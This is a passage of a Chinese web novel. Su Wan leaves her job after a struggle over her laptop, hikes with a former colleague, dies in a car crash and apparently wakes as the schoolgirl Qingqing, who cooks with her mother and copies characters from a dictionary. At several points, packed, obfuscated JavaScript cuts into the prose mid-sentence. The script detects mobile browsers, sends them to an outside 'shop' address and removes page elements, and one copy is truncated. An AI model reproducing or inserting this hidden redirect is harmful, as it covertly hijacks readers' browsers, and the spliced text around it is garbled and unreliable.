苏晚站起来,走回办公桌前,坐下来,电脑打开,翻开抽屉、文件夹、凭证等等,一项一项交待。 “租户的合同在这里,按字母顺序排的。缴费记录在这几个文件夹里,今年的在这边,去年的在那边。有几个租户是季付,下个月要催一下,电话在这里——” 周卉把朱澈叫出办公室,两个人在走廊里说着什么,声音很低,听不清。 李敏留在里面,坐在苏晚身边,看着她做交接。那目光还是紧的,像在检查什么。 苏晚没有回头。 她把所有事情交代完,关上电脑,站起来。 “还有一件事,”她说,“” 周卉正好从外面走进来,听到这句话,脸色变了。 “你说什么?” 苏晚重复了一遍:“公司需要按政策给我交失业金。” 周卉没有回答。 突然她冲到苏晚的办公桌前,伸手去抢那台电脑。 苏晚愣住了。她下意识抓住电脑的边缘——那是她自己的电脑,来园区之前买的,用了这几年,里面有很多东西。 李敏也冲上来。 两个人,四只手,和她抢那一台电脑。 苏晚抓着电脑,手指用力到发白。她看着她们的脸——周卉的脸绷得紧紧。李敏的眉头皱着,两个人都在使劲,没有人说话,只有呼吸声。 电脑是她自己买的。里面有很多东西。 但她心里,忽然觉得很鄙视。 我又没有说N+1,又没说2N,只是提出失业金——按照政策该交的失业金,就这么难受? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她记得酒店的好。 记得周卉的引路之恩。那时候她什么都不会,是周卉递出了她的简历。 记得老板的知遇之恩。虽然最后变成这样,但当初那些话,是真心话:我想拥有那一枚金徽章。老板说:“你会有一枚的。” 她能理解朱澈的辛苦。能理解他夹在中间,上有领导,下有租户,有他的难处。 但不能原谅。 窗外传来汽车发动的声音。 苏晚走出派出所,阳光很刺眼,白花花的,照在地上。她眯起眼睛,站了两秒。 然后往前走。 她没回头。 37. 出门走一走 苏晚开始休息在家。 每天睡了吃,吃了睡。早上醒来,阳光从窗帘缝隙里漏进来,落在床尾,一小块。她翻个身,把脸埋进枕头里,又睡过去。 再醒来的时候,那块阳光已经挪到了墙上。她躺着看它,看它慢慢往上爬,爬到墙角,消失。然后起来,随便扒拉几口饭,又躺回去。 昏昏沉沉的。 有时候睡不着,就翻几页书。书是以前买的,一直没时间看,现在有时间了,就是翻得慢看得慢。一行字看三遍,有时看累了,把书合上,继续躺着。 窗外有声音。楼下有人说话,有人在楼下喊孩子回家吃饭,有电动车经过的嗡嗡声。那些声音很远,像隔着一层什么。 偶尔去爬山。 离家不远有个山上公园,以前减重时经常爬。那时候每天下班后去,爬到半山腰再下来,出一身汗,回家洗个澡,觉得一天都圆满了。 现在又去了。 台阶一级一级往上,两边的树还是那些树,路还是那条路。走到一半气喘吁吁,就在半山腰的亭子里坐一会儿。亭子有石凳,石凳很凉,坐久了硌得慌。下山的时候腿发软,回到家倒头就睡。 就这样过了半年。 那天爬山,遇见了酒店的前同事。 是老张,以前在西餐厅。苏晚那会儿偏爱西餐厅的小蛋糕,每次出新品时,在走廊过道遇到老张,他都会被提醒一句:“今天出新品了,去尝尝?。” 苏晚就会去尝尝。 后来她调去园区,见得少了。再后来她离职,就再没见过。 老张还是老样子,戴着顶遮阳帽,脸晒得黑红,手里拎个保温杯。看见苏晚,他愣了一下,然后笑了。 “苏晚,好久不见。” 苏晚点点头:“好久不见。” 两个人并排往上走。老张话多,一路说着酒店的近况——谁升职了,谁离职了,谁和谁闹矛盾了。苏晚听着,偶尔嗯一声。那些名字有些熟悉,有些陌生,像很久以前的事。 走到半山亭,两人都停下来歇脚。 老张坐在石凳上,拧开保温杯喝水。水倒进杯盖里,冒着热气。他吹了吹,小口小口地喝。 苏晚站在亭子边,看着山下的城市。 “你的事我听说了。”老张忽然开口。 苏晚没回头,看着山下。 “你去找过老板?”他问。 “没有。”苏晚说,声音很轻,像不是自己说的。“我觉得没必要了。” 老张没说话。喝水的声音从身后传来。 “是我自己的问题。”她说着,在他对面的石凳上坐下来。石凳很凉,隔着裤子都能感觉到那股凉意。 “还记得财务部小叶?”她问。 老张点点头:“记得。那姥娘后来也走了。” “小叶离职前我们见过一面。”苏晚说,“她那时候特别愤怒,说了很多话。我当时也很消极,工作上的事情一团糟,领导也不理解。但我还是劝她留下。” “劝她留下?”老张问。 苏晚点点头。 “我那时候跟她说,人还是有良心的,再等等,会好的。”她顿了顿,看着山下的城市,声音低下去,“但是我错了。” 山风吹过来,凉凉的。 “有些委屈不是事情本身,”苏晚说,“是你一直相信的东西,忽然发现太假了。” 老张没接话。 他拧上保温杯的盖子,把杯子放在一边。从口袋里掏出一盒烟,抽出一根,点上。烟雾被风吹散,很快就不见了。 山下那片城区,有她住的小区,有以前天天路过的那条街,有那栋要改造成酒店的老楼。她看着那个方向,看了很久。 她忽然想说话。 那些话憋在心里很久了,半年了,没人可说。邓琪打电话来,她说不出口。父亲看着她,她也说不出口。现在坐在这里,对面是老张,一个很久没见的前同事,那些话忽然说涌了上来。 她知道人有打探的习惯,离职了,总会有人好奇发生了什么。她也见过太多拐弯抹角问话的人——先聊别的,绕一大圈,最后才绕到你身上。 但她不喜欢那样。 如果是朋友,明说更好。 “离职前的年会上,”她开口,“有一件事,我当时没想明白。” 老张看着她,等着。 “朱主任的哥哥来了,” 老张眨眨眼:“朱澈的哥哥?” 苏晚点点头。“酒店给他安排了座位,在股东区。但他没坐。” “那他坐哪儿?” “全程都坐在朱主任和我那桌,”苏晚说,“坐在我们两个人中间的那个位置。” “我当时没往心里去,年会上那么多人,那么乱,谁坐哪儿有什么关系?我那时候想。” “后来呢?”老张问。 “后来周卉和李敏来园区找我谈心的那次,”苏晚说,“我想明白了。” 老张没问她想明白什么。他只是看着她,等着。 苏晚抬起头,看着老张。 “有没有一种可能,”她说,“酒店的组织架构在变动呢?” 山风大了一点,吹得亭子边的树枝猛烈摇晃。一片叶子落下来,打着旋儿,落在亭子外的石阶上。 “年会上我还注意到一件事,”苏晚说。 “什么?” “周卉的职位,” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437403|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她说,“主持人在台上叫成‘周总监’。朱澈被叫成‘朱经理’。” 老张愣了一下。 “他们不早就是——”他停住,没往下说。 “是啊,”苏晚说,“早就是了啊!” 她顿了顿。 “慌什么?” 这句话是说给老张听,也是说给自己听的。 她在反思自己。 那些年,她一直以为自己在往前走。考了证,加了班,扛了事,以为总会有人看见。周卉提她的时候说“好好干”,她信了。李敏说“多敬着他点”,她照做了。朱澈说“好好合作”,她也信了。 后来那些事一件一件发生,她一直想不明白为什么。 为什么那个2倍的奖励,收款人要写他?为什么那个电话提醒她“要懂得尊重领导?”为什么大年初五,他指着她骂? 现在她好像有点明白了。 不是她的问题。是她一直相信的东西,太假了。 两个人都不说话了。 山下的城市在阳光下闪着光,楼密密麻麻的,挤在一起。车小得像蚂蚁。在马路上慢慢地挪。远处有山,更远的地方看不清,雾蒙蒙的。 苏晚看了很久。 后来老张说起别的,说起他小孩,说起他老婆让他退休后去乡下住。 苏晚听着,偶尔笑笑,偶尔点点头。 那些话很家常,很远。像另一个世界的事。 下山的时候,老张说:“有什么事就打电话。咱们虽然不熟,但好歹同事一场。” 苏晚说好。 她一个人往下走。台阶一级一级,两边的树遮住了阳光,有些阴。走到山脚的时候,阳光又照下来,落在身上,有点暖。 回到家,她躺在床上。 睡了很久很久。 不是普通的睡,是那种醒不过来似的睡。一天24小时,她能睡20个小时。醒来吃两口饭,眼皮又沉了。有时候分不清是白天还是晚上,窗帘一直拉着,光线总是那样,灰蒙蒙的。 梦里乱七八糟的。 有年会的灯光,很亮,晃得人睁不开眼。有周卉的脸,在笑,笑得很远。有朱澈的声音,在骂,听不清骂什么。有那台被抢走的电脑,屏幕碎了,裂纹像蛛网。 醒过来的时候,什么都记不清,只觉得累。 父亲站在房门口。 他站在那里多久了?不知道。他就那么站着,看着她。 “你这个样子,”他说,“都维持半个月了。不好。” 苏晚没说话。 她侧过头,看着窗外。 她看着很久很久。 “爸爸,”她说,“我想出门走一走。” 38. 车祸 一年后。 又一座城市。 苏晚坐在车上,看着车窗外不停倒退的街景。 那些树、那些楼、那些陌生的街道名称,一棵一棵、一栋一栋、一条一条地从眼前滑过去。阳光从云层缝隙里漏下来,一道一道,落在前车的后挡玻璃上,又弹开。 她不知道自己要到哪里去。也不知道自己为什么在这里。 只是想走一走。从家里出来,从那个城市出来,从那一切里面出来。随便买了一张票,随便上了这辆车,随便到了一个地方。 现在她坐在车上,看着窗外完全陌生的风景。 为什么? 她也不知道自己为什么会想这两个字。 想了多久了?从哪天起?一直在想。 为什么? 车拐过一个弯,阳光从另一边照进来,晃得她眯起眼睛。她靠在椅背上,脑子里乱糟糟的。那些人,那些话,像一堆散落的碎片,拼不起来,也扔不掉。 梧桐树一棵一棵往后退,叶子落得差不多了,光秃秃的枝丫伸向灰蓝色的天空。这座城市比她的城市靠北,树秃得更早,天灰得更低。 苏晚看着那排树,忽然开口。 声音很轻,像是问自己,也像是问窗外那个不断后退的世界。 “为什么善良的人总受委屈?为什么真心换不来真心?” 没有人回答她。 她盯着窗外,目光没有焦点。 那些树还在往后退。一棵,两棵,三棵。光秃秃的,灰蒙蒙的,一根一根伸向天空。 她想起父亲。父亲站在房门口,看着她。他说,你这个样子,都维持半个月了。不好。 她说,爸爸,我想出门走一走。 她走了。走到这里来了。 窗外还在退。树,楼,天空。 然后—— “咚——!” 一声闷响。 不是尖锐的撞击,是那种从地底下传上来的、沉闷的、让人骨头一震的声音。那种声音不像撞车,像地震,像什么东西从内部崩塌了。 苏晚的身体来不及反应。 她被某种巨大的力量抛起来,又狠狠摔向一侧。安全带勒进肩膀,火辣辣的疼。头撞上什么东西,玻璃还是座椅,她分不清。那一瞬间,整个世界都散了。 世界开始旋转。 车窗外的天空和街道搅在一起,树是倒的,楼是歪的,阳光碎成一片刺眼的白。耳边嗡嗡作响,金属扭曲的声音,玻璃碎裂的声音,轮胎摩擦地面的尖啸,还有什么东西在尖叫——是她自己吗?她不知道。那些声音混在一起,像有人把全世界的噪音同时塞进她耳朵里,又像整个世界都在尖叫。 她的身体还在动。不是自己在动,是被什么力量推着、甩着、颠着。座椅在晃,车窗在抖,她的手不知道抓住了什么,抓得很紧。 然后—— 停下来了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437404|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >世界还在转,但车子停了。 她听见警鸣声。很远。像隔着一层水,像从另一个世界传来的。 视线开始模糊。 她看见前挡风玻璃上,裂纹像蛛网一样向四周散开。透过那些裂纹,天空被切割成无数块碎片,灰蓝色的,很安静。 有什么东西从额角流下来。温热的,痒痒的。她想抬手擦一下,手却动不了。 窗外的天空还在转。慢下来了。越来越慢。 警鸣声时远时近,像潮水,一浪一浪地涌来,又退去。 她想起了小时候,也是这样的天空,她和苏云曦蹲在那栋老楼的台阶上吃冰棍,奶油化了,滴在手背上,黏黏的。云曦说,清清,我们以后一起开店吧。她说好。 那是多少年前的事了? 视线只剩一条缝了。 透过那条缝,她看见灰蓝色的天空。那几缕云还在,很淡,像谁用毛笔在宣纸上轻轻扫过一笔。 警鸣声远了。 那条缝越来越窄。 窄到只剩下一点点光。 然后—— 什么都没有了。 车停在路中央,扭曲变形。玻璃碎片散了一地,在阳光下闪着细碎的光。警鸣声由远及近,红蓝的光在空气中旋转。 天空还是那个天空。 风从破碎的车窗吹进去,扬起她额前的碎发。又落下。 很轻。 像什么都没发生过。 39. 清清 崇和小学 四年(1)班 下课铃拖着长音响起来的时候,苏清清正盯着手里的橡皮擦发愣。 她眨了眨眼睛,像刚从一场漫长的梦里浮上来。周围的桌椅在响,人在动,有人在喊“交作业”,有人在收拾书包。这些声音灌进耳朵里,她听着,却一时没反应过来自己在干什么。 低头。手里那块橡皮擦只剩三分之一了。 她记得清清楚楚——这节课开始前,明明是一块新的。四四方方,棱角分明,白色的皮面上还印着红色的“2B”两个字。她用手指摩挲过那两个字,新的,有点涩。 现在那块橡皮躺在手心里,边角磨圆了,表面坑坑洼洼,像是被人捏着在地地搓过。红色的字早就没了,只剩下一小块灰白的、软塌塌的东西。 她抬起头,看了看黑板。黑板上是语文老师写的生字,一排一排,工工整整。她看了看自己的课本,课本摊开着,页脚压着一支铅笔。 她又低下 头,看着那块橡皮。 怎么用的? 想不起来。 “清清!” 一个脑袋从课桌旁边探过来。苏云曦的脸凑得很近,鼻尖几乎要戳到她脸上,眼睛弯成两道月牙。 “又走神了?” 苏云曦伸手在她面前晃了晃,手指细长,指甲剪得短短的。她身上有一股淡淡的肥皂味,和她家用的一个牌子。 清清把橡皮攥进手心,抬起头看着她。 “没。” “还没呢,”苏云曦撇撇嘴,一屁股坐到她旁边同桌的位置上,两条腿晃了晃,“刚才老师点你名你都没听见,我发现你目光还时不时地飘向窗外。” 清清眨了眨眼睛。 窗外,时不时? 她扭头看了一眼。窗外的操场上有人在跑步,有人在跳皮筋,几棵杨树站在围墙边,叶子被风吹得哗哗响。太阳斜斜地挂着,把树的影子拉得很长。 她不记得自己看过这些。 “又发呆了。”苏云曦伸手在她眼前晃了晃,“回神啦回神啦,放学啦!” 清清把橡皮塞进铅笔盒里,开始收拾书包。苏云曦在旁边叽叽喳喳地说着什么——今天早操集合时被踩了,谁又抄数学课代表的作业了,隔壁的哪个女生又莫名的尖叫了—— 清清嗯嗯地应着,把课本一本一本摞起来,塞进书包里。拉链拉到一半卡住了,她拽了拽,还是卡着。 “我来。”苏云曦伸手把拉链往后退了退,再往前一拉,顺了。 “走啦走啦,”她拽起清清的手腕,“我妈今天做了糖醋鱼,让我早点回去。” 两个人穿过桌椅的缝隙,挤过教室门前的人群,下了楼。操场上的人少了一些,几个高年级的男生还在踢球,一个球滚一定过来,苏云曦一脚踢回去,踢歪了,球滚到围墙根底下。那几个男生喊了声什么,她没听清,拉着清清继续走。 校门口三三两两地站着接孩子的家长,有的推着自行车,有的拎着菜篮子,伸长脖子朝里张望。苏云曦朝清清挥挥手:“明天见。”说完就跑了,马尾辫在脑后一甩一甩的,很快消失在街角。 清清站在原地,四周看了看,没人来接她。她家近,自己走回去。 她往右转,沿着道路一边的商铺门口往前走。这时正在下午四五点钟,阳光斜斜地照过来,把她的影子拉得老长。沿街的铺子都开着门:修自行车的老头正蹲在地上补胎,旁边一只搪瓷盆里盛着产盆水;理发店的门口挂着转动的红白蓝三色灯柱,里面传来电推子嗡嗡的声音;小卖部的冰柜摆在最外边,老板娘摇着蒲扇,有一搭没一搭地跟隔壁卖水果的聊天。清清走过时,一股煮苞米的香味从某个角落飘过来,馋得她咽了咽口水。 穿过马路,对面是一个坡,坡不陡,但挺长,右手边是一溜刷了白灰的围墙,墙皮有些地方剥落了,露出底下青灰色的砖,墙根长着几丛狗尾巴草。左手边是半人高的水泥护栏,护栏外面陡然低下去—好高的墙面。 上坡的人不多。有个穿蓝色工作服的叔叔骑着二八大杠,后座绑着一捆芹菜,链条发出嘎啦嘎啦的声响。坡顶渐渐露出一排灰扑扑的筒子楼,三层楼高,外墙的涂料已经斑驳,家家户户的阳台上晾着衣服,有的还挂着腊肉。楼下空地上,几个老头围在一起打牌,旁边蹲着一条大黄狗,懒洋洋地打着哈欠。 清清加快脚步,朝最里面的那栋楼走去。 她看见了母亲。 母亲站在楼前空地上,背对着她,正低头忙着什么。空地是水泥铺的,边角裂了几道缝,缝里长着些枯黄的草。母亲面前支着一个小炉子,炉子旁边放着一个搪瓷盆,一个铁盘子,几样东西摆了一地。 清清愣在那里。 她看着母亲的背影,看着母亲微微弯着的腰,看着母亲抬手抹了一下额角的动作。阳光落在母亲身上,把她的轮廓镀上一层金边。 那一瞬间,她心里忽然涌上来一种说不清的感觉。很满,很胀,像是有什么东西要从胸口溢出来。 她没有想。她只是跑过去。 书包在背后颠站,一下一下。她跑过那段水泥地,跑过那些裂缝,跑过那些枯黄的草,跑到母亲身后,一把抱上去。 两只胳膊环住母亲的腰,脸贴在她后背上。母亲的衣服上有一股油烟味,还有炉火的暖意。 “妈妈。” 她的声音闷在母亲衣服里,瓮瓮的。 母亲手里的长柄勺顿了顿。 “哎呀,”母亲偏过头来看她,看不见脸,只看见一个毛茸茸的头顶,“怎么了这是?” 清清把脸埋得更深了一点。 “想你了。” 母亲愣了一下,然后笑起来。她笑的时候腰轻轻颤着,透过衣服传过来,一下一下。 “放学回来就想啦?上午不想?” “上午也想。” “好好好,”母亲腾出一只手来,在她胳膊上拍了拍,“快松开,我这儿做着蛋饺呢,一会儿糊了锅。” 清清松开手,绕到母亲旁边,蹲下来。 那个小炉子是铁皮做的,表面有些锈迹,炉膛里红彤彤的炭火烧得正旺。炉子上架着一口平底的小铁锅,锅不大,比家里碗口大一圈。母亲手里拿着一把长柄的勺子,勺头圆圆的,很浅,像半个乒乓球。 旁边那个搪瓷盆里盛着金黄的蛋液,打得很匀,用筷子挑起来能拉成一条线。铁盘子里摆着刚做好的蛋饺,一个个金灿灿的,鼓鼓囊囊,整整齐齐排成两排,在落日里泛着油汪汪的光。 “看好了啊。”母亲说。 她用一块肥肉在勺子里抹了一圈,勺子底立刻变得油亮亮的。然后舀起一勺蛋液,倒进勺子里。手腕轻轻一转,蛋液就顺着勺底流开,铺成薄薄圆圆的一张。 “转的时候要稳,”母亲的手腕稳稳地动着,勺子在她手里像长了眼睛,“不能太快也不能太慢,太快了摊不匀,太慢了就糊了。” 蛋皮很快凝住了,边缘微微翘起来,颜色从金黄色变成更深一点的黄。母亲用筷子夹起一小团肉馅,放在蛋皮中间。那肉馅是剁好的,粉红色里掺着些翠绿的葱花,闻着有一股酱油和姜末的香。 “然后这样——” 筷子压住一边的蛋皮,往上一翻,正好盖住另一边。蛋皮的边缘还有一点没凝固,黏在一起,立刻粘得牢牢的。一个蛋饺就成形了,鼓鼓囊囊,像个金元宝。 母亲把它夹起来,放在旁边的铁盘子里。它躺在那些做好的蛋饺旁边,还冒着微微的热气。 “来,你试试。” 母亲把勺子和肥肉递给她。 清清接过来。勺子柄是铁的,握在手里有点烫。她学着母亲的样子,用肥肉在勺子抹了一圈。肥肉滋滋响着,油顺着勺底流开。 她舀了一勺蛋液。 倒进去。 转。 ——转太快了,蛋液没铺开,堆在中间厚厚的一坨,四周却露了勺底。 母亲在旁边笑,没出声,肩膀一耸一耸的。 清清抿着嘴,把那坨厚蛋皮铲下来,扔进旁边的小碗里。 再来一次。 抹油。舀蛋液。倒进去。 转。 慢一点,慢一点,手腕稳住—— 这次好一点,蛋皮铺开了,虽然一边厚一边薄,但起码是个圆形。 她夹起肉馅放上去。 翻。 翻了。 蛋皮没粘住,肉馅滚出来,掉在铁盘子里。 母亲终于笑出声来。 “没事没事,”她伸手把那个散了的蛋饺捡起来,塞到自己嘴里,“第一个都这样,我当年学的时候比你差多了。” 清清看着她,母亲嘴里塞着那个不成形的蛋饺,腮帮子鼓鼓的,眼睛里还带着笑。 落日把她们两个的影子拉得很长,一高一矮,投在灰色的水泥地上。 清清把勺子又伸进油碗里。 “我再去试几个。” 母亲点点头,站起身,走到旁边的一堆蜂窝煤跟前。她弯下腰,用火钳夹起一块新的蜂窝煤,揭开炉子底下的盖子,把煤塞进去。炉膛里窜起一股火苗,舔着锅底,又落回去。 “一会儿做完给你外婆送一些去。”母亲拍了拍手上的灰,“她爱吃这个。” 清清抬头看了看对面那栋楼。五楼,第一家。那个阳台的晾衣杆伸得老长,上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17437405|200981||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 面挂着几件衣服,在风里慢慢晃着。 她又低下头,继续做蛋饺。 这一勺好多了。 天色慢慢暗下来。楼里的灯一盏盏亮起来,从窗口透出来,黄的白的都有。 清清把最后一个蛋饺夹进盘子里。铁盘满了,金灿灿的蛋饺堆成一座小山,在暮色里泛着暖光。 “行了行了,够多了。”母亲接过盘子,“你先把书包放回去,然后下来,一起去给你外婆送。” 清清站起来,膝盖蹲得有点酸。她揉了揉,背起书包,往家走。 面前那栋筒子楼,三层的,灰色的墙面被太阳晒得有些发白。楼梯在楼里面,水泥砌的。 楼的左手边还有一道石梯,更窄,更陡,顺着山坡往上爬。石梯两边也是楼,和她家这柜一样高,一样灰,一样旧。 这是厂里的筒子楼。她从小就住在这里,从出生到现在,没有搬过。 清清朝楼中间的楼梯走去。光线暗了些,楼梯扶手是铁栏杆的,伸手抓住楼梯的扶手,凉凉的,有点硌手。她踩着楼梯上去,脚步在水泥的台阶上闷闷地响。到了二楼,眼前横着一条走廊,水泥地面,走廊的一边有4个紧闭的房间——一共4户。走廊尽头,又是一道楼梯,继续向上通往三楼。 清清没再往上,她家在二楼左手的第二间。 门是老式的木门,漆成深棕色,门把手是铁的,圆圆的,磨得发亮。她从书包侧袋里掏出钥匙,捅进锁孔,转了两圈,咔哒一声,门开了。 进门是一条过道,不算窄,大概有两米半的样子。过道右边靠墙立着柜子,木头做的,也是深棕色,柜门上有几块玻璃,玻璃后面摆着些碗碟。 过道尽头是一扇门,绿色边框的纱窗门。透过纱网能看见里面的客厅,光线暗一些,家具的轮廓模模糊糊的。 她推开纱窗门。 客厅不大,窗户在东边,这个时候已经没有阳光了,光线有些暗。窗户下面摆着一张八仙桌,深褐色的木头,桌面磨得很光滑。4张靠背木椅紧靠着桌边。 靠左边墙是一张沙发。右边墙上有一扇木门,关着。那是父母的卧室。 她自己的床在进门的右手边,靠着墙。一张一米二的木床。床边挨着一张书桌,木头桌面,被钢笔划出好多道印子。桌面上摆着一个台灯,灯罩是浅绿色的,拉线开关,拉一下亮,再拉一下灭。台灯旁边有本《新华字典》和一个笔筒,里面插着几支铅笔,一把尺子。 清清走到书桌前,把书包放下来。书包落在椅子上,发出一声闷响。 她转身,走到八仙桌跟前。 窗户开着一条缝,有风吹进来,凉凉的。她趴在窗台上,往外看。 楼下那片空地就是刚才做蛋饺的地方,现在母亲还在那儿,蹲在炉子跟前收拾东西。炉子里的火已经灭了,只冒着一缕细细的烟,斜斜地往上升,升到半空就散了。 空地对面是一排矮房子,一间间紧挨着,那原来是柴火房,现在改造成各家的厨房。每家门口都放着东西。 母亲这会儿就在自家厨房门口。比别家稍微大一点。 清清的目光越过那些矮房子,往远处看。 空地对面是另一栋楼,比她家这栋高,八层。走廊是开放式的,从这一头通到那一头,走廊人来人往,家家门口都摆着东西。 阳台上的晾衣杆伸得老远,有的用竹子,有的用钢管,都用铁丝固定着。衣服挂得密密麻麻——风里飘着。 五楼,第一家。 清清的目光定在那里。 那是外婆家。 外婆这会儿在干什么?她不知道,但她马上就能知道了。 清清转身,踩着凳子爬上八仙桌,把窗户推开一条更大的缝,让风呼呼地吹进来。舒服。她又爬下来,往门口走。 楼梯还是那个楼梯,水泥台阶,绿色栏杆。她一级级往下跑,脚步声在空荡荡的楼道里回响着。 “妈妈,我来了。” 母亲看了她一眼,笑了笑。 “走吧,给你外婆送蛋饺去。” 她端着盘子,清清跟在她旁边,两个人绕过房子走过空地,往对面那栋楼走。 走到楼底下,清清忽然拉住母亲的衣角。 “妈妈。” 母亲低下头看她。 “怎么了?” 清清张了张嘴,没说出话来。 她不知道自己想说什么。 母亲看着她,等着。 最后清清摇摇头。 “没事。” 她松开手,跑在母亲的前面。 “外婆外婆,我来了。”清清爽朗且大声的回声响彻整个楼道。 40. 三分之一的橡皮擦 夜晚。 台灯亮着。 那盏浅绿色灯罩的台灯,拉线开关垂下来,吊着一截红色的绒线。清清刚才写作业的时候拉过一次,现在那截红线还一晃一晃的,细细的影子落在作业本上。 灯光斜斜地照下来,在桌面上切出一块明亮的三角形。三角里摊着作业本,作业本半开着,底下压着一本《新华字典》。字典的封面是深红色的,边角磨得发白,书脊裂了一道口子,用透明胶布粘着,胶布边上卷起来一小块,灰扑扑的。 清清没有在写作业。 她的铅笔搁在本子上,笔尖抵在124x23=那行字,半天没动。另一只手按着字典,翻到“觞”那一页。 这个字她今天下午无意中瞥见的。当时她在翻别的字,“觞”就躺在那一页的角落里。她看了眼,愣住了。这个字她从来没见过,但它长得很好看——左边一个“角”,右边一个“觞”的一半?不对,右边是“昜”,她后来查了,念“yang”。 “觞”读shang。 字典上写着:古代喝酒用的器具。 她盯着那行解释看了很久。古代喝酒用的器具。什么样子的?像杯子吗?还是像碗?用什么做的?她想象不出来,但她就是喜欢这个字。喜欢它的样子,喜欢它站在那里,一笔一画,端端正正,像一件很小很小的古董。 她把字典往灯光下挪了挪,翻开自己的日记本。 那是一本硬壳的笔记本,封面上印着两只卡通小熊,抱着一颗红心。是她去年生日的,父亲从省城带回来的。她一直舍不得用,后来决定用来抄字。一笔一画,工工整整,把那些复杂的、好看的、念不出来的字,一个一个抄进去。 她翻到最新的一页。这一页最顶上用铅笔写着“S”,下面已经抄了三个字——觞觥,还有一个觚,昨天抄的,写到最后歪了一点,被她用橡皮擦掉,在旁边重新写了一个。 她捏起铅笔,在“觞”下面画了一条横线。 然后一笔一画地抄。 左边的“角”。撇,横撇,撇,横折钩,横,横,竖。写好了。这个部首她写过很多次,“角”字旁的字都跟酒有关系——觚、觥、觶。她不知道它们长什么样,但她知道它们存在过。在很久很久以前,有人用它们喝酒,用它们敬酒,用它们把心事倒进肚子里。 右边的“昜”。竖,横折,横,横,撇,横折钩,撇,撇。写好了。这个字她不认识,但它站在“角”旁边,就变成了“觞”。 她盯着这个字,轻轻念出声来。 “觞。” 念完自己愣了一下。这个字她从来没见过,怎么会念? 她想了想,刚才查字典的时候看见的——拼音shang,一声。对,她是看拼音念的。不是自己会的。 她又低下头,继续翻字典。 “觞”后面是“觥”,gong。古代用兽角做的酒器。她翻到那一页,盯着那个字看了很久。觥。这个字更复杂一点,左边还是“角”,右边是“光”。光。她忽然想到一个词——觥筹交错。语文课上好像讲过,是形容很多人在一起喝酒的样子。 很多人在一起喝酒。 她想不出来那是什么样子。她没见过很多人喝酒。父亲偶尔喝一点,用一个小瓷杯,自己一个人坐在八仙桌边,慢慢喝,喝完就睡觉。 她又往后翻。“觥”后面是“觶”,zhi。古代酒器,圆腹,圈足,有盖。她看着那行解释,一个字一个字读过去。圆腹。圈足。有盖。她试着在脑子里画出这个东西的样子,画不出来。太远了。那些东西太远了。隔着多少年?她不知道。几千年的东西,躺在她面前这本小小的字典里,躺在这个晚上,躺在这盏台灯下面。 她抄下来。一笔一画。 抄完她抬起头,揉了揉眼睛。 台灯光还是那么亮,照在作业本上。作业本上那行“124x23=”还空着等号后面的数字,铅笔搁在旁边,笔尖对着那个空当。 她没管它。 她把字典翻到下一页。 卧室的门虚掩着,从门缝里漏出一条光,是电视机的光,一闪一闪的。父母的声音从里面传出来—— 父亲的声音闷闷的,像在说什么事,听不清。 母亲应了一声,说了句什么,然后笑起来。笑的声音不大,但清清听见了。 电视里的声音换了一个频道,好像是什么电视剧,有个女的在哭,哭得呜呜咽咽的。母亲又说了句话,这回声音大了点,清清听见几个字——“……明天早上……” 清清继续翻字典。 她翻到“鼎”字。这个字她认识,课文里学过。但字典上的解释比课文里多——鼎,古代煮东西用的器物,三足两耳。她盯着那行字,忽然想起一个词:鼎鼎大名。还有:一言九鼎。她不知道九鼎是什么,但听上去很重,很沉,像什么很大的东西。 她又翻到“簋”字。gui。古代盛食物的器具,圆口,圈足。这个字长得很有意思,上面像两个“口”摞起来,下面一个“皿”。皿也是器具,她认识。皿字底的字都跟器具有关系——盆、盂、盅。簋也是其中之一。 她翻到“彝”字。yi。这个字最难写,笔画挤在一起,像一堆乱七八糟的线条。但字典上写:古代盛酒的器具,也指青铜器的通称。她盯着那个字看了很久,试着数笔画,数不清。太乱了。但她喜欢这个字。它站在那里,密密麻麻的,像一件很老很老的东西上刻满了花纹。 她抄下来。抄得很慢,一笔一画,生怕写错。 抄完她盯着那个字,忽然想起一件事。 这些字,都是从地里挖出来的吗?她看过一本书,上面写有人在地里挖出很多青铜器,上面刻着字,那些字就是现在字典里的这些字。那些青铜器在地下埋了几千年,被挖出来的时候,上面全是锈,绿绿的,但那些字还在。一笔一画,清清楚楚。 